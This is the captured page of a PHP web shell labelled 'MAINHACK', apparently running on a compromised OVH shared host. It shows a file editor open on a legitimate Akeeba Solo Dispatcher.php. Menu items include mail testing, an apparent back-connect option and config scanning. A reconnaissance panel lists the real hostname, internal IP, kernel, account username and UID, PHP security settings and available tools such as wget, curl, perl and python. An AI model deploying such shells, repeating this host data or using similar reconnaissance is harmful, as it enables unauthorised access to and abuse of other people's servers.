[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Dispatcher.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo; use Awf\Dispatcher\Dispatcher as BaseDispatcher; use Awf\Utils\Template; class Dispatcher extends BaseDispatcher { public function onBeforeDispatch() { $this->loadCommonCSS(); $this->loadCommonJavascript(); return true; } /** * Loads JavaScript required throughout the application * * @return void */ private function loadCommonJavascript() { // FEF JavaScript Template::addJS('media://js/fef/menu.min.js', $this->container->application); Template::addJS('media://js/fef/tabs.min.js', $this->container->application); $this->container->application->getDocument()->addScriptDeclaration(<<< JS window.addEventListener("DOMContentLoaded", function (event) { akeeba.fef.menuButton(); akeeba.fef.tabs(); }); JS ); // Application JavaScript Template::addJS('media://js/solo/gui-helpers.js', $this->container->application); Template::addJS('media://js/solo/modal.js', $this->container->application); Template::addJS('media://js/solo/ajax.js', $this->container->application); Template::addJS('media://js/solo/system.js', $this->container->application); Template::addJS('media://js/solo/tooltip.js', $this->container->application); } /** * Loads CSS files required throughout the application */ private function loadCommonCSS() { $darkMode = $this->container->appConfig->get('darkmode', -1); Template::addCss('media://css/fef.css', $this->container->application); Template::addCss('media://css/theme.css', $this->container->application); if ($darkMode != 0) { Template::addCss('media://css/dark.css', $this->container->application); Template::addCss('media://css/theme_dark.css', $this->container->application); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697